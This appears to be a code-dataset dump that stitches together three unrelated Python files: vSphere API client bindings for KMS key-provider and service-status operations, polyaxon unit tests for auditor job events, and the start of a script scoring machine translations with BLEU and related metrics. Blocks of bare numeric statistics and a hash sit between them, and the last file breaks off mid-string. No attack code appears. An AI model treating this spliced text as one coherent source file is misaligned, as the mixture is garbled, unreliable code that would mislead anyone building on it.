task_instance = Task(task_id, task_svc, type.ReferenceType(__name__, 'Providers.Info')) return task_instance class ServiceStatus(VapiInterface): """ The ``ServiceStatus`` class provides methods to get the Key Provider Service health status. This class was added in vSphere API 7.0.0. """ _VAPI_SERVICE_ID = 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.service_status' """ Identifier of the service in canonical form. """ def __init__(self, config): """ :type config: :class:`vmware.vapi.bindings.stub.StubConfiguration` :param config: Configuration to be used for creating the stub. """ VapiInterface.__init__(self, config, _ServiceStatusStub) self._VAPI_OPERATION_IDS = {} self._VAPI_OPERATION_IDS.update({'get_task': 'get$task'}) class Health(Enum): """ The ``ServiceStatus.Health`` class defines the possible service health states. This enumeration was added in vSphere API 7.0.0. .. note:: This class represents an enumerated type in the interface language definition. The class contains class attributes which represent the values in the current version of the enumerated type. Newer versions of the enumerated type may contain new values. To use new values of the enumerated type in communication with a server that supports the newer version of the API, you instantiate this class. See :ref:`enumerated type description page <enumeration_description>`. """ NONE = None """ No status available. This class attribute was added in vSphere API 7.0.0. """ OK = None """ Service is functioning normally. This class attribute was added in vSphere API 7.0.0. """ WARNING = None """ Service is functioning, however there is an issue that requires attention. This class attribute was added in vSphere API 7.0.0. """ ERROR = None """ Service is not functioning. This class attribute was added in vSphere API 7.0.0. """ def __init__(self, string): """ :type string: :class:`str` :param string: String value for the :class:`Health` instance. """ Enum.__init__(string) Health._set_values([ Health('NONE'), Health('OK'), Health('WARNING'), Health('ERROR'), ]) Health._set_binding_type(type.EnumType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.service_status.health', Health)) class Info(VapiStruct): """ The ``ServiceStatus.Info`` class contains information that describes the status of the service. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, health=None, details=None, ): """ :type health: :class:`ServiceStatus.Health` :param health: The service health status. This attribute was added in vSphere API 7.0.0. :type details: :class:`list` of :class:`com.vmware.vapi.std_client.LocalizableMessage` :param details: Details regarding the health of the service. When the service ``ServiceStatus.Health`` is not :attr:`ServiceStatus.Health.OK` or :attr:`ServiceStatus.Health.NONE`, this member will provide an actionable description of the issues present.. This attribute was added in vSphere API 7.0.0. """ self.health = health self.details = details VapiStruct.__init__(self) Info._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.service_status.info', { 'health': type.ReferenceType(__name__, 'ServiceStatus.Health'), 'details': type.ListType(type.ReferenceType('com.vmware.vapi.std_client', 'LocalizableMessage')), }, Info, False, None)) def get_task(self, cluster, ): """ Return the Key Provider Service health in the given cluster. This method was added in vSphere API 7.0.0. :type cluster: :class:`str` :param cluster: Identifier of the cluster. The parameter must be an identifier for the resource type: ``ClusterComputeResource``. :rtype: :class: `vmware.vapi.stdlib.client.task.Task` :return: Task instance :raise: :class:`com.vmware.vapi.std.errors_client.Error` For any other error. :raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument` If the cluster id is empty. :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` If the cluster is not found. :raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated` If the caller is not authenticated. """ task_id = self._invoke('get$task', { 'cluster': cluster, }) task_svc = Tasks(self._config) task_instance = Task(task_id, task_svc, type.ReferenceType(__name__, 'ServiceStatus.Info')) return task_instance class _ProvidersStub(ApiInterfaceStub): def __init__(self, config): # properties for list operation list_input_type = type.StructType('operation-input', { 'cluster': type.IdType(resource_types='ClusterComputeResource'), }) list_error_dict = { 'com.vmware.vapi.std.errors.invalid_argument': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), 'com.vmware.vapi.std.errors.unauthenticated': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'), 'com.vmware.vapi.std.errors.error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'), } list_input_value_validator_list = [ ] list_output_validator_list = [ ] list_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/vcenter/trusted-infrastructure/trust-authority-clusters/{cluster}/kms/providers', path_variables={ 'cluster': 'cluster', }, query_parameters={ }, dispatch_parameters={ }, header_parameters={ }, dispatch_header_parameters={ } ) # properties for create operation create_input_type = type.StructType('operation-input', { 'cluster': type.IdType(resource_types='ClusterComputeResource'), 'spec': type.ReferenceType(__name__, 'Providers.CreateSpec'), }) create_error_dict = { 'com.vmware.vapi.std.errors.already_exists': type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyExists'), 'com.vmware.vapi.std.errors.invalid_argument': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), 'com.vmware.vapi.std.errors.unauthenticated': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'), 'com.vmware.vapi.std.errors.error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'), } create_input_value_validator_list = [ ] create_output_validator_list = [ ] create_rest_metadata = OperationRestMetadata( http_method='POST', url_template='/vcenter/trusted-infrastructure/trust-authority-clusters/{cluster}/kms/providers', request_body_parameter='spec', path_variables={ 'cluster': 'cluster', }, query_parameters={ }, dispatch_parameters={ }, header_parameters={ }, dispatch_header_parameters={ } ) # properties for update operation update_input_type = type.StructType('operation-input', { 'cluster': type.IdType(resource_types='ClusterComputeResource'), 'provider': type.IdType(resource_types='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider'), 'spec': type.ReferenceType(__name__, 'Providers.UpdateSpec'), }) update_error_dict = { 'com.vmware.vapi.std.errors.invalid_argument': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), 'com.vmware.vapi.std.errors.unauthenticated': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'), 'com.vmware.vapi.std.errors.error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'), } update_input_value_validator_list = [ ] update_output_validator_list = [ ] update_rest_metadata = OperationRestMetadata( http_method='PATCH', url_template='/vcenter/trusted-infrastructure/trust-authority-clusters/{cluster}/kms/providers/{provider}', request_body_parameter='spec', path_variables={ 'cluster': 'cluster', 'provider': 'provider', }, query_parameters={ }, dispatch_parameters={ }, header_parameters={ }, dispatch_header_parameters={ } ) # properties for delete operation delete_input_type = type.StructType('operation-input', { 'cluster': type.IdType(resource_types='ClusterComputeResource'), 'provider': type.IdType(resource_types='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider'), }) delete_error_dict = { 'com.vmware.vapi.std.errors.invalid_argument': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), 'com.vmware.vapi.std.errors.unauthenticated': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'), 'com.vmware.vapi.std.errors.error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'), } delete_input_value_validator_list = [ ] delete_output_validator_list = [ ] delete_rest_metadata = OperationRestMetadata( http_method='DELETE', url_template='/vcenter/trusted-infrastructure/trust-authority-clusters/{cluster}/kms/providers/{provider}', path_variables={ 'cluster': 'cluster', 'provider': 'provider', }, query_parameters={ }, dispatch_parameters={ }, header_parameters={ }, dispatch_header_parameters={ } ) # properties for get operation get_input_type = type.StructType('operation-input', { 'cluster': type.IdType(resource_types='ClusterComputeResource'), 'provider': type.IdType(resource_types='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider'), }) get_error_dict = { 'com.vmware.vapi.std.errors.invalid_argument': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), 'com.vmware.vapi.std.errors.unauthenticated': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'), 'com.vmware.vapi.std.errors.error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'), } get_input_value_validator_list = [ ] get_output_validator_list = [ ] get_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/vcenter/trusted-infrastructure/trust-authority-clusters/{cluster}/kms/providers/{provider}', path_variables={ 'cluster': 'cluster', 'provider': 'provider', }, query_parameters={ }, dispatch_parameters={ }, header_parameters={ }, dispatch_header_parameters={ } ) operations = { 'list$task': { 'input_type': list_input_type, 'output_type': type.IdType(resource_types='com.vmware.cis.TASK'), 'errors': list_error_dict, 'input_value_validator_list': list_input_value_validator_list, 'output_validator_list': [], 'task_type': TaskType.TASK_ONLY, }, 'create$task': { 'input_type': create_input_type, 'output_type': type.IdType(resource_types='com.vmware.cis.TASK'), 'errors': create_error_dict, 'input_value_validator_list': create_input_value_validator_list, 'output_validator_list': [], 'task_type': TaskType.TASK_ONLY, }, 'update$task': { 'input_type': update_input_type, 'output_type': type.IdType(resource_types='com.vmware.cis.TASK'), 'errors': update_error_dict, 'input_value_validator_list': update_input_value_validator_list, 'output_validator_list': [], 'task_type': TaskType.TASK_ONLY, }, 'delete$task': { 'input_type': delete_input_type, 'output_type': type.IdType(resource_types='com.vmware.cis.TASK'), 'errors': delete_error_dict, 'input_value_validator_list': delete_input_value_validator_list, 'output_validator_list': [], 'task_type': TaskType.TASK_ONLY, }, 'get$task': { 'input_type': get_input_type, 'output_type': type.IdType(resource_types='com.vmware.cis.TASK'), 'errors': get_error_dict, 'input_value_validator_list': get_input_value_validator_list, 'output_validator_list': [], 'task_type': TaskType.TASK_ONLY, }, } rest_metadata = { 'list': list_rest_metadata, 'create': create_rest_metadata, 'update': update_rest_metadata, 'delete': delete_rest_metadata, 'get': get_rest_metadata, } ApiInterfaceStub.__init__( self, iface_name='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers', config=config, operations=operations, rest_metadata=rest_metadata, is_vapi_rest=True) class _ServiceStatusStub(ApiInterfaceStub): def __init__(self, config): # properties for get operation get_input_type = type.StructType('operation-input', { 'cluster': type.IdType(resource_types='ClusterComputeResource'), }) get_error_dict = { 'com.vmware.vapi.std.errors.error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'), 'com.vmware.vapi.std.errors.invalid_argument': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), 'com.vmware.vapi.std.errors.unauthenticated': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'), } get_input_value_validator_list = [ ] get_output_validator_list = [ ] get_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/vcenter/trusted-infrastructure/trust-authority-clusters/{cluster}/kms/service-status', path_variables={ 'cluster': 'cluster', }, query_parameters={ }, dispatch_parameters={ }, header_parameters={ }, dispatch_header_parameters={ } ) operations = { 'get$task': { 'input_type': get_input_type, 'output_type': type.IdType(resource_types='com.vmware.cis.TASK'), 'errors': get_error_dict, 'input_value_validator_list': get_input_value_validator_list, 'output_validator_list': [], 'task_type': TaskType.TASK_ONLY, }, } rest_metadata = { 'get': get_rest_metadata, } ApiInterfaceStub.__init__( self, iface_name='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.service_status', config=config, operations=operations, rest_metadata=rest_metadata, is_vapi_rest=True) class StubFactory(StubFactoryBase): _attrs = { 'Providers': Providers, 'ServiceStatus': ServiceStatus, 'providers': 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers_client.StubFactory', }
40.286984
136
0.585655
6,575
63,452
5.483954
0.050038
0.033697
0.022742
0.038661
0.851291
0.819813
0.805752
0.791441
0.778989
0.760962
0
0.005849
0.323709
63,452
1,574
137
40.312579
0.834405
0.373558
0
0.633917
1
0.004038
0.25043
0.183186
0
0
0
0
0
1
0.039031
false
0
0.018843
0
0.103634
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3a731ac32ae8a366d781a4ff35b4e7eb93e29946
20,525
py
Python
platform/core/tests/test_auditor/test_auditor_job.py
hackerwins/polyaxon
ff56a098283ca872abfbaae6ba8abba479ffa394
[ "Apache-2.0" ]
null
null
null
platform/core/tests/test_auditor/test_auditor_job.py
hackerwins/polyaxon
ff56a098283ca872abfbaae6ba8abba479ffa394
[ "Apache-2.0" ]
null
null
null
platform/core/tests/test_auditor/test_auditor_job.py
hackerwins/polyaxon
ff56a098283ca872abfbaae6ba8abba479ffa394
[ "Apache-2.0" ]
null
null
null
# pylint:disable=ungrouped-imports from unittest.mock import patch import pytest import auditor from events.registry import job as job_events from factories.factory_jobs import JobFactory from factories.factory_projects import ProjectFactory from tests.test_auditor.utils import AuditorBaseTest @pytest.mark.auditor_mark class AuditorJobTest(AuditorBaseTest): """Testing subscribed events""" EVENTS = job_events.EVENTS def setUp(self): super().setUp() self.job = JobFactory(project=ProjectFactory()) self.tested_events = { job_events.JOB_CREATED, job_events.JOB_UPDATED, job_events.JOB_STARTED, job_events.JOB_STARTED_TRIGGERED, job_events.JOB_CLEANED_TRIGGERED, job_events.JOB_DELETED, job_events.JOB_DELETED_TRIGGERED, job_events.JOB_STOPPED, job_events.JOB_STOPPED_TRIGGERED, job_events.JOB_VIEWED, job_events.JOB_ARCHIVED, job_events.JOB_RESTORED, job_events.JOB_BOOKMARKED, job_events.JOB_UNBOOKMARKED, job_events.JOB_NEW_STATUS, job_events.JOB_FAILED, job_events.JOB_SUCCEEDED, job_events.JOB_DONE, job_events.JOB_LOGS_VIEWED, job_events.JOB_RESTARTED, job_events.JOB_RESTARTED_TRIGGERED, job_events.JOB_STATUSES_VIEWED, job_events.JOB_OUTPUTS_DOWNLOADED, } @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_created(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_CREATED, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_updated(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_UPDATED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_started(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_STARTED, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_started_triggered(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_STARTED_TRIGGERED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_cleaned_triggered(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_CLEANED_TRIGGERED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 0 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_deleted(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_DELETED, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_triggered_deleted(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_DELETED_TRIGGERED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_stopped(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_STOPPED, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 1 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_stopped_triggered(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_STOPPED_TRIGGERED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_viewed(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_VIEWED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_archived(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_ARCHIVED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_restored(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_RESTORED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_bookmarked(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_BOOKMARKED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_unbookmarked(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_UNBOOKMARKED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_new_status(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_NEW_STATUS, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_failed(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_FAILED, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 1 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_succeeded(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_SUCCEEDED, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 1 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_done(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_DONE, instance=self.job) assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_logs_viewed_triggered(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_LOGS_VIEWED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_restarted(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_RESTARTED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 0 assert notifier_record.call_count == 0 assert executor_record.call_count == 1 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_restarted_triggered(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_RESTARTED_TRIGGERED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_statuses_viewed_triggered(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_STATUSES_VIEWED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 @patch('executor.executor_service.ExecutorService.record_event') @patch('notifier.service.NotifierService.record_event') @patch('tracker.service.TrackerService.record_event') @patch('activitylogs.service.ActivityLogService.record_event') def test_job_outputs_downloaded(self, activitylogs_record, tracker_record, notifier_record, executor_record): auditor.record(event_type=job_events.JOB_OUTPUTS_DOWNLOADED, instance=self.job, actor_id=1, actor_name='foo') assert tracker_record.call_count == 1 assert activitylogs_record.call_count == 1 assert notifier_record.call_count == 0 assert executor_record.call_count == 0 del AuditorBaseTest
43.485169
69
0.611011
1,959
20,525
6.086269
0.041348
0.106097
0.115743
0.065755
0.922587
0.898599
0.898599
0.898599
0.898599
0.898599
0
0.007601
0.314153
20,525
471
70
43.577495
0.839383
0.002875
0
0.792271
0
0
0.220283
0.218084
0
0
0
0
0.222222
1
0.057971
false
0
0.016908
0
0.07971
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3aea630ff86214cebffa9decfb020854e124b986
212
py
Python
my_imports.py
cigar666/my_manim_projects
64d02fb829ce5befd75d91327be465902fabb9c1
[ "MIT" ]
159
2020-02-17T06:45:25.000Z
2022-03-24T06:11:00.000Z
my_imports.py
cigar666/my_manim_projects
64d02fb829ce5befd75d91327be465902fabb9c1
[ "MIT" ]
1
2020-08-06T02:01:29.000Z
2020-08-06T03:05:25.000Z
my_imports.py
cigar666/my_manim_projects
64d02fb829ce5befd75d91327be465902fabb9c1
[ "MIT" ]
53
2020-02-21T03:13:49.000Z
2022-03-14T09:03:59.000Z
from my_manim_projects.my_utils.my_text import * from my_manim_projects.my_utils.anim_effects import * from my_manim_projects.my_utils.my_geometry import * from my_manim_projects.my_utils.my_3D_mobject import *
35.333333
54
0.863208
37
212
4.486486
0.324324
0.144578
0.26506
0.457831
0.771084
0.771084
0.771084
0.409639
0
0
0
0.005128
0.080189
212
5
55
42.4
0.846154
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
0
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
3aef051281f5976411fee95c029eafcddc32c493
63,307
py
Python
evaluation.py
hoelzlmanuel/online-translator-evaluation
52c83db6a3601f2888110e6bf4f23e95d052313f
[ "MIT" ]
null
null
null
evaluation.py
hoelzlmanuel/online-translator-evaluation
52c83db6a3601f2888110e6bf4f23e95d052313f
[ "MIT" ]
null
null
null
evaluation.py
hoelzlmanuel/online-translator-evaluation
52c83db6a3601f2888110e6bf4f23e95d052313f
[ "MIT" ]
null
null
null
from nltk.translate.bleu_score import corpus_bleu from nltk.translate.nist_score import corpus_nist from nltk.translate.meteor_score import meteor_score from nltk.translate.gleu_score import corpus_gleu import re from nltk.translate.ribes_score import corpus_ribes from nltk.translate.chrf_score import corpus_chrf from pyter import ter from copy import deepcopy translations = { "Amazon Translate": [ { "translation": "St. Stephen's Cathedral (originally cathedral and metropolitan church of St. Stephen and all Saints) on Vienna's Stephansplatz (district of Inner City) has been a cathedral since 1365 (seat of a cathedral chapter), since 1469/1479 cathedral (bishop's seat) and since 1723 Metropolitan Church of the Archbishop of Vienna", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic cathedral, also known as Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes referred to as the Austrian national sanctuary", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "Its name is Saint Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patrol is All Saints' Day", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 metres long and 34 metres wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the west facade, flanked by the two pagan towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "St. Stephen's Cathedral has four towers: the highest at 136.4 metres is the south tower, the north tower was not completed and is only 68 metres high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In former Austria-Hungary, no church could be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's 